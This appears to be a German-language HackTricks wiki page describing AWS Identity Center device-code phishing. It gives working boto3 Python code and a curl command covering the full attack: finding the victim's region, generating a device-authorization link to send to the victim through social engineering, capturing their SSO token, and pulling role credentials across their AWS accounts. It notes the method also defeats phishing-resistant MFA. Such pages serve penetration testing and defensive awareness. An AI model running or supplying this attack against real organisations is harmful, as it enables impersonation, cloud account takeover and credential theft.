AWS - Identity Center & SSO Unauthenticated Enum

Support HackTricks

AWS Device Code Phishing

Ursprünglich vorgeschlagen in diesem Blogbeitrag, ist es möglich, einen Link an einen Benutzer zu senden, der AWS SSO verwendet, der, wenn der Benutzer akzeptiert, dem Angreifer einen Token zur Verfügung stellt, um den Benutzer zu impersonieren und auf alle Rollen zuzugreifen, auf die der Benutzer im Identity Center zugreifen kann.

Um diesen Angriff durchzuführen, sind die Voraussetzungen:

  • Das Opfer muss Identity Center verwenden

  • Der Angreifer muss die Subdomain kennen, die vom Opfer verwendet wird <victimsub>.awsapps.com/start

Nur mit den vorherigen Informationen wird der Angreifer in der Lage sein, einen Link an den Benutzer zu senden, der, wenn er akzeptiert wird, dem Angreifer Zugriff auf das AWS-Benutzerkonto gewährt.

Angriff

  1. Finden der Subdomain

Der erste Schritt des Angreifers besteht darin, die Subdomain herauszufinden, die das Opferunternehmen in ihrem Identity Center verwendet. Dies kann über OSINT oder Raten + BF erfolgen, da die meisten Unternehmen hier ihren Namen oder eine Variation ihres Namens verwenden werden.

Mit diesen Informationen ist es möglich, die Region zu ermitteln, in der das Identity Center konfiguriert wurde:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Generiere den Link für das Opfer & sende ihn

Führe den folgenden Code aus, um einen AWS SSO-Login-Link zu generieren, damit das Opfer sich authentifizieren kann. Für die Demo führe diesen Code in einer Python-Konsole aus und verlasse sie nicht, da du später einige Objekte benötigst, um das Token zu erhalten:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Send den generierten Link an das Opfer unter Verwendung deiner großartigen Social Engineering Fähigkeiten!

  1. Warte, bis das Opfer es akzeptiert

Wenn das Opfer bereits bei AWS angemeldet war, muss es nur die Berechtigungen akzeptieren. Wenn nicht, muss es sich anmelden und dann die Berechtigungen akzeptieren. So sieht das Prompt heutzutage aus:

  1. Erhalte SSO-Zugriffstoken

Wenn das Opfer das Prompt akzeptiert hat, führe diesen Code aus, um ein SSO-Token zu generieren, das den Benutzer impersoniert:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Der SSO-Zugriffstoken ist 8 Stunden gültig.

  1. Benutzer impersonifizieren

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing des unphishbaren MFA

Es ist interessant zu wissen, dass der vorherige Angriff auch funktioniert, wenn ein "unphishbares MFA" (webAuth) verwendet wird. Dies liegt daran, dass der vorherige Workflow niemals die verwendete OAuth-Domain verlässt. Anders als bei anderen Phishing-Angriffen, bei denen der Benutzer die Anmeldedomain ersetzen muss, ist im Fall des Gerätecode-Workflows vorgesehen, dass ein Code von einem Gerät bekannt ist und der Benutzer sich sogar auf einem anderen Gerät anmelden kann. Wenn die Eingabeaufforderung akzeptiert wird, kann das Gerät, nur durch Kenntnis des ursprünglichen Codes, Anmeldeinformationen für den Benutzer abrufen.

Für weitere Informationen dazu prüfen Sie diesen Beitrag.

Automatische Werkzeuge

Referenzen

Unterstützen Sie HackTricks

Last updated